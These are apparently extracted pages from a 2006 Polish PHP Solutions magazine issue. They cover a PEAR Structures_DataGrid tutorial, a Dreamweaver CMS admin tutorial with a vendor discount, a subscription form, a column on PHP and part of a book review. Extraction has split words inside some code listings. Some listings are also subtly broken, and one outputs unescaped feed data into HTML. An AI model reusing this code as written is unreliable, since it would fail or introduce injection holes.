(nie licząc wierszy do zdefi niowana da-
nych) zbudowaliśmy działający datagrid
z możliwością sortowania!
Po dołączeniu pliku kolejnej klasy
Structures_DataGrid tworzymy jej in-
stancję, którą nazwiemy $dg. Istotne
jest, aby dokonać tego przez referencję,
czyli poprzedzając słowo kluczowe new
operatorem &.
W tej samej linii przez parametr
konstruktora ustawimy liczbę wyświe-
tlanych jednocześnie na ekranie wierszy
tabeli wynikowej, co pozwoli nam zoba-
czyć działanie mechanizmu stronico-
wania.
Następnie dowiązujemy dane do
obiektu wywołując metodę bind(), po
czym wyświetlamy wynikowy datagrid za
pomocą metody render(). Ponieważ ko-
rzystamy z domyślnego sterownika pre-
zentacji HTML_Table, dostęp do kolejnych
stron uzyskujemy za pośrednictwem
metody getPaging() sterownika. Nasza
tabela jest gotowa – przedstawiamy ją
na Rysunku 1.
Korzystanieze źródeł danychW praktyce przeważnie nie będziemy
pobierali danych z tablicy, tylko ze źródła
zewnętrznego. Służą do tego sterowniki
źródeł danych dla klasy Structures_
DataGrid.
Nowe źródło tworzymy za pomocą
metody create() klasy Structures_
DataGrid_DataSource. Przyjmuje ona trzy
argumenty: lokalizację danych, tablicę
parametrów danego sterownika oraz sta-
łą określającą typ sterownika.
Na Listingu 2 przedstawiamy przy-
kład wykorzystania sterownika CSV do
wczytania danych z listy klientów, którą
eksportujemy z książki adresowej. Pa-
rametrami tego sterownika są kolejno:
znak rozdzielający pola, numery wy-
świetlanych pól, etykiety tych pól oraz
znacznik określający to, czy chcemy by
kolumny były generowane automatycznie
z nagłówkami. Ręcznym generowaniem
kolumn zajmiemy się nieco później, więc
na razie ustawimy ostatni parametr jako
true.
Pozostaje już tylko dowiązać dane
do obiektu datagridu wywołując metodę
bindDataSource(), a następnie wyświe-
tlić wynik. To koniec tego etapu.
DataGrid
www.phpsolmag.org74
PEAR
PHP Solutions Nr 2/2006
Listing 4. Modyfi kacja ustawień prezentacji danych dla sterownika HTML_Table
...
$dg =& new Structures_DataGrid(2, null, DATAGRID_RENDER_TABLE);
$dg->renderer->setTableHeaderAttributes(array('bgcolor' => '#3399FF'));
$dg->renderer->setTableOddRowAttributes(array('bgcolor' => '#CCCCCC'));
$dg->renderer->setTableEvenRowAttributes(array('bgcolor' => '#EEEEEE'));
// Zdefi niowanie atrybutów tabeli
$dg->renderer->setTableAttribute('width', '100%');
$dg->renderer->setTableAttribute('cellspacing', '1');
// Ustawienie ikon sortowania
$dg->renderer->sortIconASC = '↑';
$dg->renderer->sortIconDESC = '↓';
$dg->bind($data);
...
Listing 5. Rozszerzanie klasy Structures_DataGrid
require('Structures/DataGrid.php');
class myDataGrid extends Structures_DataGrid {
function myDataGrid($limit = null, $page = 0){
parent::Structures_DataGrid($limit, $page);
$this->renderer->setTableAttribute('width', '100%');
// ... Tu reszta kodu formatującego ...
$this->renderer->sortIconDESC = '↓'; } }
$dg =& myDataGrid();
...
Listing 6. Ręczne dodawanie kolumn tabeli i wczytywanie danych ze źródła RSS
require_once('Structures/DataGrid/DataSource.php');
// Określenie kolumn pobieranych ze źródła RSS
$options = array('fi elds' => array('title', 'link'));
$rss = "http://rss.slashdot.org/Slashdot/slashdot";
$ds = Structures_DataGrid_DataSource::create($rss, $options, DATAGRID_SOURCE_RSS);
// Utworzenie instancji rozszerzonej klasy DataGrid
$dg =& new myDataGrid;
// Utworzenie trzech kolumn
$titleCol = new Structures_DataGrid_Column('Title', 'title');
$funcCol = new Structures_DataGrid_Column('Function', null);
// Dodanie metod formatujących
$titleCol->Setformatter('printLink()');
$funcCol->Setformatter('sendLink()');
// Dodanie kolumn
$dg->addColumn($titleCol);
$dg->addColumn($funcCol);
// Dowiązanie danych do datagridu i wygenerowanie wyniku
$dg->bindDataSource($ds);
$dg->render();
Listing 7. Metody tworzące odsyłacze do wydrukowania strony WWW
i przesłania adresu
function printLink($params){$data = $params['record'];
return "<a href='{$data[link]}'>$data[title]</a>"; }
function sendLink($params){$data = $params['record']; $link = urlencode($data["link"]);
return "<a href='send2friend.php?url=$link'>Wyślij adres znajomemu</a>"; }
Generujemy arkusz Excela przy użyciu sterownika prezentacjiMamy już obiekt datagridu pobierający
dane z pliku CSV i wyświetlający je
w postaci tabeli HTML. Skorzystajmy
teraz z innych możliwości oferowanych
przez sterowniki prezentacji i wyekspor-
tujmy dane do dokumentu MS Excel.
W tym celu w kodzie z Listingu 2 wpro-
wadzimy modyfi kacje pokazane na Li-
stingu 3. Zmianie ulega jedynie fragment
związany z obsługą obiektu $dg.
Tak oto mamy działający konwerter
plików CSV na XLS. Sterownik XLS nie
wykorzystuje wprawdzie pełni możliwo-
ści klasy Spreadsheet_Excel_Writer,
ale tyle na początek nam wystarczy.
Wprowadzenie innych sterowników
wymaga jedynie zmiany wartości stałej
przekazywanej konstruktorowi obiektu
Structures_DataGrid. Na Rysunku 2
pokazujemy utworzony w ten sposób
arkusz Excela.
Upiększanie wynikówWiemy już, jak utworzyć i skonfi gurować
obiekt Structures_DataGrid. Pozostaje
upiększenie prezentacji wyników. Ste-
rowniki prezentacji udostępniają opcje
formatowania. Użyjemy domyślnego
sterownika HTML_Table i skorzystamy
z kilku opcji formatowania. Spójrzmy
na Listing 4: podczas tworzenia obiektu
Structures_DataGrid przekazywane są
inne argumenty. Drugi argument wskazu-
je stronę, która ma być pokazana, a trze-
ci sterownik prezentacji używany do wy-
świetlenia datagridu. Jawne ustawianie
sterownika DATAGRID_RENDER_TABLE nie
jest konieczne, gdyż jest domyślnie włą-
czony, zdefi niujemy go więc wyłącznie
dla zwiększenia czytelności kodu.
Po utworzeniu obiektu datagridu
i przypisania go do zmiennej $dg, mo-
żemy się nieco pobawić prezentacją.
Jak pokazuje przykładowy kod, atrybuty
prezentacji można ustawiać na pozio-
mie tabeli, nagłówków kolumn, a nawet
wierszy parzystych i nieparzystych. Ste-
rownik HTML_Table jest jednym z bogat-
szych w opcje formatowania, więc nasz
przykład ilustruje tylko niewielki podzbiór
jego możliwości.
Na koniec dodamy jeszcze ikony
strzałek do sortowania w porządku
rosnącym i malejącym, wyświetlane
w nagłówku kolumny, wg której sortuje-
my. W tym przykładzie skorzystamy z en-
DataGrid
www.phpsolmag.org 75
PEAR
PHP Solutions Nr 2/2006
Tabela 1. Sterowniki źródeł danych i prezentacji
Sterowniki źródeł danych Sterowniki prezentacji
ArrayPodstawowy sterownik, importujący dane
z tablicy.Console Wyświetla datagrid jako tabelę czytelną przy pracy w konsoli.
CSVPrzetwarza dane rozdzielane przecinkami
pobrane z plików CSV.CSV Przetwarza dane do formatu tekstowego CSV.
Data-
Object
Pobiera dane z bazy za pomocą interfejsu
obiektowego PEAR:: DB_DataObject.HTML_Table
Sterownik domyślny, wyświetlający dane w postaci stronicowa-
nej tabeli HTML z możliwością konfi guracji i sortowania.
DB Pobiera dane za pomocą PEAR::DB. Smarty Generuje dane prezentacji za pomocą szablonów Smarty.
RSS Pobiera i przetwarza dane ze źródła RSS. XLSGeneruje pliki MS Excel za pomocą
PEAR:: Spreadsheet_Excel_Writer
XML Przetwarza plik XML. XML Zapisuje dane do pliku XML.
XUL
Przetwarza datagrid na tabelę opisaną w języku XUL, używa-
nym przez przeglądarki Mozilla, Firefox i inne oparte na silniku
Gecko.
tytek (ang. entities) HTML oznaczających
strzałki skierowane do góry i w dół, ale
możemy użyć dowolnego kodu HTML,
również znacznika <img> służącego do
wstawiania obrazów.
Rozszerzenie klasy Structures_DataGridKod ustawiający każdy atrybut tabeli
z osobna jest dość długi, więc powta-
rzanie go przy każdym użyciu datagridu
nie byłoby specjalnie wygodne. Nie-
dogodność tę rozwiążemy defi niując
własną klasę rozszerzającą Structures_
DataGrid, dzięki czemu pożądane
wartości atrybutów będą automatycznie
ustawiane przy każdym utworzeniu
jej obiektu. Kod nowej klasy, którą na-
zwiemy myDataGrid, przedstawiamy na
Listingu 5.
Odtąd możemy tworzyć obiekty typu
myDataGrid, zawierające określone w de-
fi nicji klasy atrybuty prezentacji i stanowią-
ce punkt wyjścia dla wszystkich datagridów
stosowanych w danej aplikacji.
Dodawanie kolumnKolumny datagridu są w rzeczywistości
instancjami klasy Structures_DataGrid_
Column. Jak dotąd, nie musieliśmy bez-
pośrednio korzystać z tej klasy, gdyż
klasa Structures_DataGrid wykonywała
to automatycznie, oszczędzając nam
tym samym sporo pracy. Niekiedy jest
jednak konieczne ręczne dodanie nowej
kolumny.
Wykorzystamy sterownik źródła danych
RSS, aby pobrać dane z zewnętrznego pli-
ku RSS, a następnie wyświetlimy te dane
wraz z kilkoma dodatkowymi kolumnami.
Listing 6 ilustruje proces tworzenia źródła
danych RSS, przy czym wyświetlane będą
jedynie pola tytułu i odsyłacza.
Najciekawszą częścią jest dodawanie
kolumn poprzez tworzenie instancji klasy
Structures_DataGrid_Column. Argumenty
przekazywane konstruktorowi tej klasy to
tytuł kolumny oraz nazwa pola, z którym
kolumna ma być skojarzona. Konstruktor
może też przyjmować inne argumenty,
określające między innymi ustawienia
formatowania, atrybuty tabeli, wartości
wstawiane automatycznie, opcje sorto-
wania, itd.
Zdefi niujmy specjalne formatowanie
dla obu kolumn. Posłuży nam do tego
metoda Setformatter(). Za jej pomocą
wskażemy metody, które posłużą do sfor-
matowania tych kolumn (Listing 7). Zmien-
na $params odpowiada tablicy zawierającej
dane z bieżącego rekordu zbioru danych,
zapisywane w zmiennej $data, po czym
są zwracane w formacie stosowanym
w kolumnie naszego datagridu. W tym
przykładzie mamy tylko dwie kolumny:
pierwsza zawiera odsyłacz do artykułu,
a druga link pozwalający przesłać jego
adres znajomemu. Ten drugi uzyskamy
poprzez odpowiednie sformatowanie ad-
resu artykułu i połączenie go ze skryptem,
który umożliwia wysłanie linku.
PodsumowanieWdrożenie klasy Structures_DataGrid
w wielu przypadkach całkowicie zmienia
sposób tworzenia aplikacji w PHP. Uwal-
niając programistę od powtarzalnych
i pracochłonych zajęć obejmujących
pobieranie, przetwarzanie i prezentację
danych tabelarycznych, pozwala mu się
skupić na innych aspektach programo-
wania, takich jak logika biznesowa. W tym
artykule przedstawiliśmy podstawowe
możliwości rozszerzenia Structures_
DataGrid, dając Ci solidną podstawę do
dalszej pracy z tym narzędziem. Pokaza-
ne przez nas przykłady stanowią świetny
punkt wyjścia do dalszego, samodzielne-
go poznawania potężnych i fascynujących
możliwości Structures_DataGrid. �
Aaron Wormus programuje w PHP od
1999 r. Zajmował się tworzeniem rozwią-
zań intranetowych w Perlu i technologiach
pokrewnych. Aaron koncentruje się na
dostarczaniu przedsiębiorstwom wysokiej
jakości rozwiązań intranetowych i wyko-
rzystuje potęgę PHP w pracy konsultanta.
Kontakt z autorem: [email protected].
O autorze
Rysunek 2. Arkusz Excela utworzony na podstawie wyeksportowanych danych
tabelarycznych
76
Programowanie typowych dla systemu zarządzania treścią (Content Manage-ment System – CMS) list i formularzy
zwykle zabiera mnóstwo czasu. W niniejszym artykule wypróbujemy kilka narzędzi RAD podczas szybkiej budowy dynamicznej listy i formularza do zarządzania artykułami na zapleczu systemu CMS.
SZYBKI STARTSystem CMS jest całkowicie dynamiczny. Aby szybko stworzyć stronę i rozpocząć tworzenie sekcji administracyjnej, wykonaj następujące kroki:
� Zainstaluj próbne wersje programów Dreamweaver oraz MX Kolleection, w tej właśnie kolejności. – oba pakiety znajdują się na naszym CD. MX Kollection to rozsze-rzenie do narzędzia Dreamweaver, więc instalacja będzie przeprowadzona auto-matycznie przez Macromedia Extension Manager.
� Uruchom skrypt cms.sql dostarczony razem z przykładowymi plikami, aby utwo-rzyć strukturę bazy danych podobną do tej z Rysunku 1 i zapełnić ją przykładowymi danymi.
� Zdefi niuj w programie Dreamweaver stronę (menu Site), która używa testowego ser-wera PHP_MySQL.
� Skopiuj przykładowe pliki do katalogu głównego strony.
� Podłącz swój system CMS do bazy danych, którą właśnie stworzyliśmy poprzez edy-cję istniejącego połączenia z bazą danych w zakładce Databases panelu Application aplikacji Dreamweaver. Upewnij się, że nazwa użytkownika i hasło do serwera MySQL są podane poprawnie i połącz się z bazą.
Aby sprawdzić poprawne działanie całości, otwórz w przeglądarce stronę index.php – po-winna przedstawiać domyślną stronę domową twojego CMS.
TWORZENIE LISTY ARTYKUŁÓWUtworzymy dynamiczną listę, która umożliwi użytkownikom wyświetlanie wszystkich artykułów w systemie CMS, ich autorów, daty publikacji i odpowiednie kategorie treści. Użytkownicy będą mogli także sortować listę w porządku rosnącym lub malejącym według dowolnych pól, a także fi ltrować ją, by wyświe-tlać wyłącznie artykuły spełniające określone kryteria – patrz Rysunek 2.
Jeśli ktoś uważa że taki system trudno zbudować , kreatory MX Kollection z pewnością zmienią jego zdanie. MX Kollection to pakiet rozszerzeń do programu Dreamweaver, które pomagają tworzyć zarówno kod serwerowy,
Tworzenie sekcji administracyjnej systemu zarządzania treściąMariusz Zaharia
Rysunek 1. Struktura bazy danych CMS Rysunek 2. Lista dynamiczna z fi ltrami i sortowaniem
Czego potrzebujesz
� Serwer WWW z obsługą PHP� Serwer bazy danych MySQL� Macromedia Dreamweaver 8 (wersja
próbna na CD)� Rozszerzenie MX Kollection do programu
Dreamweaver (wersja próbna na CD)� Znajomość oprogramowania Dreamweaver
RozszerzeniaDreamweavera – co to jest?Rozszerzenia przypominają wtyczki lub dodatki, ponieważ rozszerzają standardowe funkcje pro-gramu Dreamweaver. Mogą być różne – od krót-kich kawałków kodu po złożone aplikacje – i mają różne cele. Ograniczają konieczność ręcznego kodowania, automatyzują często powtarzane zadania, naprawiają określone błędy, zwiększa-ją produktywność lub tworzą określone obiekty. Więcej rozszerzeń można znaleźć na stronie Macromedia Exchange (www.macromedia.com/exchange).
jak i HTML, a także style CSS – wszystko to za pomocą szybkich, łatwych w użytkowaniu grafi cznych interfejsów. Po instalacji kreatory i reguły dla serwerów MX Kollection dostępne są w dwóch lokacjach:
� W zakładce MX Kollection na belce Insert.� W menu MX Kollection w zakładce Server
Behaviors panelu Application.
77
Stwórzmy listę artykułów:
� Otwórz plik admin\view.php w programie Dreamweaver i uruchom kreator Create NeXTensio List Wizard z belki Insert.
� W pierwszym kroku powiemy kreatorowi, aby wyświetlał informacje z Table, wybie-rając utworzoną przez nas bazę, tabelę ar-ticle_art oraz klucz główny id_art. Ponieważ lista, którą tworzymy zawiera także prowa-dzące do formularza przyciski tworzenia, edycji i usuwania artykułów, powinniśmy określić stronę zawierającą formularz – edit.php. Trzeba wreszcie wskazać kre-atorowi, aby wyświetlał 10 artykułów na stronie; do wyświetlenia reszty artykułów będzie służyć dodana belka nawigacji. Te-raz możemy przejść do następnego kroku, klikając przycisk Next.
� Skonfi gurujemy każde z pól listy w siatce w następujący sposób:
�� Dla pola idtop_art wprowadź Header“Temat” i pobierz jego wartość z tabeli topic_top. Aby wyświetlać poprawne tematy, zamiat klucza obcego ustaw kolumnę Label na name_top, zaś ko-lumnę Value na id_top.
�� Dla pola idusr_art ustaw Header na “Autor” i pobierz jego wartości z tabeli user_usr. Będziemy wyświetlać imiona autorów z kolumny name_usr, a odpo-wiednie wartości pobierzemy z kolum-ny id_usr.
�� Pozostaw pola title_art i content_artz wartościami domyślnymi. Zmień Header kolumny date_created_art na “Opublikowane”, a następnie przejdź do następnego kroku.
� W tym kroku zdefi niujemy fi ltry listy. Zmień kolumnę idtop_art tak, aby była wyświetla-na jako menu – dzięki temu użytkownicy będą mogli z łatwością wybrać i wyświetlić wszystkie artykuły z danej kategorii. Zrób to samo z kolumną autorów, a resztę fi l-trów pozostaw jako pola tekstowe. Przejdź do następnego kroku.
� Teraz określimy układ listy. Artykuły po-winny być ułożone według tytułu (title_art) w porządku wstępującym. Można liście przypisać arkusz CSS oraz zduplikować przyciski i belkę nawigacyjną – przydaje się to szczególnie, gdy lista jest długa i nie
chcemy, aby użytkownicy musieli przewi-jać ekranu tam i z powrotem za każdym razem. Włącz efekt mouse-over effect dla każdego wiersza, wyświetl wszystkie linki jako przyciski i ponumeruj wiersze. Upewnij się, że wszystkie opcje układu grafi cznego są ustawione na Yes, a następ-nie kliknij Finish.
Kreator sam utworzy wszystkie ustawienia serwera, niezbędny kod HTML, JavaScript oraz style CSS. Jeżeli przełączymy się do widoku kodu, zauważymy, że jest on zorientowany obiektowo i ma klasy wywoływane z folderu includes w miarę potrzeb (należy pamiętać o skopiowaniu tego folderu na serwer testowy przed obejrzenie strony w przeglądarce). Klik-nięcie w dowolny przycisk przeniesie nas do pustej strony edit.php – tutaj właśnie stworzy-my uniwersalny formularz, a raczej pojedynczy formularz przechowujący wszystkie transak-cje: wprowadzanie, aktualizacje i usuwanie.
TWORZENIE FORMULARZA ARTYKUŁU
� Otwórz stronę admin\edit.php w progra-mie Dreamweaver uruchom kreator Create NeXTensio Form Wizard z belki Insert(zakładka MX Kollection). Kreator pomoże automatycznie wygenerować formularz HTML, podłączyć go do transakcji bazy danych (wprowadzanie, aktualizacje i usu-wanie – insert, update, delete), ustawić wartości domyślne pól i zdefi niować reguły walidacji.
� W pierwszym kroku ustawiamy połączenie z bazą danych, wybieramy tabelę artic-le_art oraz klucz główny id_art. Przejdźmy do następnego kroku.
� Następnie skonfi gurujemy wszystkie pola formularza z siatki w następujący sposób:
�� Dla pola idtop_art ustaw Etykietę na „Temat” i wyświetl go jako menu. Po kliknięciu przycisku Menu Propertiesmożna zauważyć, że wartości menu są już poprawnie skonfi gurowane i będą pobierane z rekordów. Dzięki trwałości interfejsu użytkownika nie ma potrzeby defi niowania nowych re-kordów albo zmieniania czegokolwiek: kreator przywołuje ustawienia pola idtop_art tak, że jest ono wyświetlane jako menu fi ltra listy. Zostanie ono
Rysunek 3. Konfi guracja kolumn listy Rysunek 4. Kreator generuje zachowania serwera
Trwałośćinterfejsu użytkownikaJest to funkcja umożliwiająca zapamiętywanie przez interfejsy wcześniejszych konfi guracji remember, co oszczędza wiele czasu.
Trwałość można włączać i wyłączać z panelu InterAKT (belka Insert > zakładka MX Kollection).
InterAKT Dynamic DataJest to grafi czne narzędzie do wybierania dynamicznych źródeł danych (pól rekordów, pól formularza, zmiennych sesji itp.). Jeżeli dynamiczne źródło jest wybrane w ten sposób, wygenerowany kod zawiera specjalny znacznik (na przykład {SESSION.kt_login_id}). Pakiet MX Kollection jest zgodny z kilkoma typami serwerów – nie tylko PHP_MySQL – dzięki czemu znacznik ten będzie znaczyć to samo w przy-padku ColdFusion i ASP_VBScript, a w dodatku jest łatwiejszy do zapamiętana.
Oferta specjalnaNowe sposoby wykorzystania MX Kollection do zadań RAD można znaleźć na stronie: http://www.interaktonline.com/cms. Jeżeli podoba Ci siępakiet MX Kollection i chcesz go mieć, oferujemy zniżkę w wysokości 100 USD. Wystarczy odwiedzić następujący adres: http://www.interaktonline.com/cmsbuy.
78
wygenerowane, tym razem z takimi samymi wartościami.
�� Ustaw Label pola idusr_art na “Autor” wyświetl je jako tekst i wprowadź je w postaci numerycznej. Kiedy do systemu CMS dodawany jest nowy artykuł, jego autor jest akualnie zalo-gowanym użytkownikiem, więc do-myślną wartością kolumny idusr_artpowinien być ID użytkownika aktu-alnej sesji. Aby ustawić tę wartość, kliknij niebieską ikonę błyskawicy i wybierz zmienną sesji kt_login_id, tak jak na Rysunku 4. Kliknięcie OK w oknie InterAKT Dynamic Dataspowoduje wprowadzenie w miejsce domyślnej wartości następującego kodu: {SESSION.kt_login_id}.
�� Ustaw pole content_art, aby było wyświetlane jako tekst i zapewniło miejsce na treść artykułu.
�� Ustaw wartość domyślną pola date_cre-ated_art na {NOW_DT}. Jest to specjalny kod znaczników InterAKT który zostanie
zastąpiony aktualną datą i czasem (tak jak w przypadku funkcji now() w PHP). Przejdźmy do następnego kroku.
�� Walidacja jest istotnym krokiem w pro-cesie tworzenia bezpiecznej aplikacji i przy zapewnianiu integralności da-nych. Dobrze jest sprawdzić, czy war-tości pól idtop_art i idusr_art to liczby całkowite dodatnie. Powinniśmy także wywoływać pole title_art, aby wszyst-kie artykuły miały tytuł. Wreszcie należy dokonać walidacji pola date_cre-ated_art względem formatu Datetime.
�� W ostatnim kroku kreatora ustawiamy wszystkie opcje układu na Yes i klika-my Finish, aby zakończyć kreator. Na-leży pamiętać o usunięciu wiersza wy-świetlającego ID autora w formularzu: nie ma potrzeby, by go pokazywać, a jego wartość zostanie poprawnie ustawiona dzięki odpowiedniej trans-akcji. Warto zwrócić uwagę, że kreator wygenerwał wszystkie trzy transakcje (patrz Rysunek 4).
Zapiszmy strony, umieśćmy wszystkie pliki na serwerze testowym, sprawdźmy działanie listy oraz formularza. Można wprowadzać, edytować i usuwać wiele artykułów naraz, wybierając je z listy i klikając odpowiednie przyciski (patrz Rysunek 6). Reguły walida-cji zadziałają w przypadku każdego artykułu z osobna.
INNE FUNKCJE CMSZobaczyliśmy, jak łatwo i szybko buduje się dynamiczne listy i formularze do zarządza-nia artykułami w systemie CMS. Dzięki MX Kollection nie trzeba już ograniczać się wy-łącznie do list i formularzy. Oto kilka innych rzeczy, które można wypróbować samemu przy użyciu MX Kollection i programu Dream-weaver:
� Umożliwienie rejestracji nowych użytkow-ników CMS i aktywowanie ich przez e-mail dzięki kreatorowi User Registration Wizard(login został już przygotowany w pliku admin\index.php).
� Automatyczne wysyłanie do administrato-ra e-maila z potwierdzeniem dodania nowe-go artykułu do CMS za pomocą zachowania serwera Send E-mail.
� Użycie Server-Side Includes (SSI) do tworzenia menu sekcji administracyjnej i umieszczenia go na wszystkich stronach sekcji.
� Wgranie i powiązanie obrazka z każdym artykułem za pomocą zachowania serwera Upload and Resize Image.
� Tworzenie zestawów rekordów wykorzy-stujących złożone zapytania SQL za pomo-cą grafi cznego interfejsu, przy wykorzy-staniu schematów baz danych podobnych do Rysunku 1. �
Marius Zaharia pracuje jako Documentation Manager w fi rmie InterAKT Online, która tworzy rozszerzenia do budowy dynamicznych stron WWW w programie Macromedia Dreamweaver.Poza pisaniem artykułów i tutoriali dla develope-rów, bawi się nauką nowych rzeczy i odkrywaniem nowych technologii. Do jego zainteresowań należą programowanie aplikacji internetowych, politykai awangardowa muzyka elektroniczna.Kontakt z autorem: [email protected]
O autorze
Rysunek 6. Jednoczesna edycja wielu artykułów
Rysunek 5. Użycie InterAKT Dynamic Data do wartości domyślnych
Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Piaskowa 3, 01-067 Warszawa, e-mail: [email protected]. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa fi rmy................................................................................................. Numer NIP fi rmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
zamówienie prenumeraty
1 Cena prenumeraty rocznej dla osób prywatnych
2 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3 Cena prenumertaty dwuletniej Aurox Linux
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.shop.software.com.pl
automatyczne przedłużenie prenumeraty
Suma
Tytuł Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów12 250/1801
SDJ Extra (od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów6 150/1352
Linux+ (2 płyty CD)
Miesięcznik o systemie Linux12 250/1801
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux12 270/1981
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa8 232/1982
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP6 135
Hakin9, jak się obronić (1 płyta CD)
Dwumiesięcznik o bezpieczeństwie i hakingu6 135
.psd (1 płyta CD + fi lm instruktażowy)
Dwumiesięcznik użytkowników programu Adobe Photoshop6 140
Aurox Linux (4 płyty CD + 1 płyta DVD)
Magazyn z najpopularniejszym polskim Linuksem4 1193
Felieton
www.phpsolmag.org80 PHP Solutions Nr 2/2006
W 1995 roku Rasmus Lerdorf,
bezrobotny informatyk szuka-
jący zatrudnienia, z zapałem
chwycił się zadania stworzenia prostego
i szybkiego języka na potrzeby swojej
strony WWW, m.in. prezentacji umiesz-
czonego na niej CV oraz śledzenia
odwiedzin. Tak narodziła się pierwotna
wersja PHP, zwana Personal Home Page
Tools. Po 10 latach istnienia, PHP święci
tryumfy popularności: napisano w nim po-
nad 40% wszystkich aplikacji webowych,
jest używany na ok. 22 milionach domen
internetowych, stanowiących więcej niż
25% wszystkich stron WWW. PHP ma
też jedną z najprężniejszych społeczności
opensourcowych na świecie.
Założenia PHP są niezmienne: jego
największą zaletą jest i ma być prostota.
Dodatkowo, w wersji 5, jak i zapowia-
danym wydaniu szóstym PHP staje się
językiem zorientowanym na potrzeby pro-
fesjonalistów i biznesu: zaczynamy mówić
o platformie programistycznej. Obecny
rozwój PHP opiera się na aktywnym słu-
chaniu i rozumieniu ogółu użytkowników,
do grona których zalicza się coraz więcej
doświadczonych deweloperów i architek-
tów, tworzących na potrzeby przedsię-
biorstw.
Nie wszystko jednak wygląda tak
różowo. Choć zarówno programowanie
obiektowe, jak i obsługa wyjątków oferuje
ogromne możliwości, potrzebne są pewne
rygory tworzenia i organizacji kodu, czego
nie ułatwia skrajna elastyczność PHP.
W przeciwieństwie do J2EE czyh .NET,
w PHP nie ma standardów, których trze-
ba się trzymać. Dostępne w tym języku
Firma Zend planuje udostępnienie open-
sourcowego frameworka wzorcowego dla
PHP w roku 2006.
Weźmy też pod uwagę, iż PHP
rozwijało się w oderwaniu od potrzeb
i realiów przedsiębiorstw. I nic dziwnego:
jest dziełem pokaźnego grona grona de-
weloperów-pasjonatów, którzy za darmo
poświęcają mu swój czas. Pamiętajmy,
że motywacja pracy wpływa na jej jakość:
PHP ma tu duży atut. Wadą takiego po-
dejścia jest natomiast słabe przystoso-
wanie do potrzeb fi rm. Twórcy PHP wzięli
sobie to do serca i począwszy od wersji
PHP4 starają się coraz lepiej zaspokoić
wymagania biznesu. Dowodem są roz-
wiązania klasy Enterprise dla PHP4, takie
jak CMS eZ publish. Ich liczba znacznie
wzrosła wraz z nadejściem PHP5. Jakie
więc będzie PHP6? Czas pokaże: jeśli
zapowiedzi zostaną zrealizowane, to
będziemy mogli mówić o jednej z naj-
trwalszych i najłatwiejszych do wdrożenia
platform programistycznych. Czekamy
z niecierpliwością! �
frameworki, aplikacje i skrypty są liczne,
niejednorodne i powtarzające się pod
względem funkcjonalności.
Dzisiaj, dzięki PHP, wiele profesjonal-
nych projektów radzi sobie z poważnymi
zadaniami i przynosi duże zyski. Te przed-
sięwzięcia mają jeden wspólny element:
nieodzowną obecność przewodnika czyli
guru, który defi niuje i nadzoruje architek-
turę i reguły rozwoju oprogramowania. Na
tym etapie, wprowadzenie PHP do fi rm
okazało się opłacalne i nie gwarantujące
stabilności.
Ale społeczność PHP nie powiedziała
jeszcze ostatniego słowa: przystosowanie
PHP do warunków panujących w fi rmie
jest głównym celem wyłaniającego się
powoli PHP6! Możliwe stanie się wymu-
szenie przestrzegania pewnych konwen-
cji, takich jak: zachowanie wielkości liter
w nazwach funkcji, składnia klas, stoso-
wanie przestrzeni nazw, obowiązkowe
używanie wyjątków, przejście na stan-
dard Unicode, itd. Dużym plusem będzie
również łatwiejsza i bardziej niezadowna
instalacja.
Wreszcie, istniejące rozszerzenia
PHP rozwijają się powoli, ale skutecznie.
Natomiast niewiele spośród tworzonych
w PHP aplikacji posiada doświadczoną
i prężną społeczność. A od współpracy
ze społecznością zależy sukces nasze-
go przedsięwzięcia: inaczej będziemy
musieli polegać na plątaninie małych,
niezgodnych ze sobą, efemerycznych
aplikacji, odkrywając po raz kolejny Ame-
rykę. Zespół Zend Technologies dobrze
zna ten problem, ponieważ ma coraz
większą styczność ze światem biznesu.
Guillaume Ponçon jest architektem
i dewoloperem PHP w fi rmie Anaska.
Jest również prelegentem i ściśle współ-
pracuje z fi rmą Zend Technologies.
Działa w różnych stowarzyszeniach
PHP, m.in. we Francuskim Stowarzy-
szeniu Użytkowników PHP (AFUP).
Napisał książkę Best Practices PHP5.
Kontakt z autorem: [email protected]
O autorze
PHP: Hobby,które przynosi zyskGuillaume Ponçon
PHP5 i MySQL – Zastosowania e-commerce
Autorzy: Emilian Balanescu, Mihai Bucica, Cristian Darie
Wydawnictwo: Helion Cena: 71,10 zł
Jest taki rodzaj artykułu w prasie komputerowej, często goszczący także na łamach PHP Solutions. Redaktorzy nazywają go
KPKNKP, czyli Krok Po Kroku Na Konkretnym Przykładzie. Mówiąc krótko, książka PHP5 i MySQL – Zastosowania e-commerce jest
takim właśnie arykułem, tylko że o długości bitych 526 stron. Stosowniejszy byłby podtytuł Jedno zastosowanie e-commerce, bo cała
lektura – rzeczywiście szczegółowo – opisuje proces budowy pojednyczego sklepu internetowego.
Autorzy PHP5 i MySQL – Zastosowania e-commerce nie potrafi li się zdecydować, dla kogo przeznaczona jest książka. W pierwszym
rozdziale obszerny fragment poświecony jest wyjaśnianiu, czym w ogóle jest język PHP, co sugeruje czytelnika bardzo początkującego.
Z tym że od razu na początku drugiego rozdziału autorzy... znienacka pokazują fragment kodu PHP z lakonicznym opisem: utworzono
tu klasę Page dziedziczącą z klasy Smarty. Wszystkie instrukcje inicjujące pracę kodu zostały więc zamieszczone w konstruktorze kla-
sy Page. Milczące założenie jest – jak rozumiem – takie, że między przeczytaniem rozdziału pierwszego a drugiego czytelnik
wkuł jakiś podręcznik PHP5?
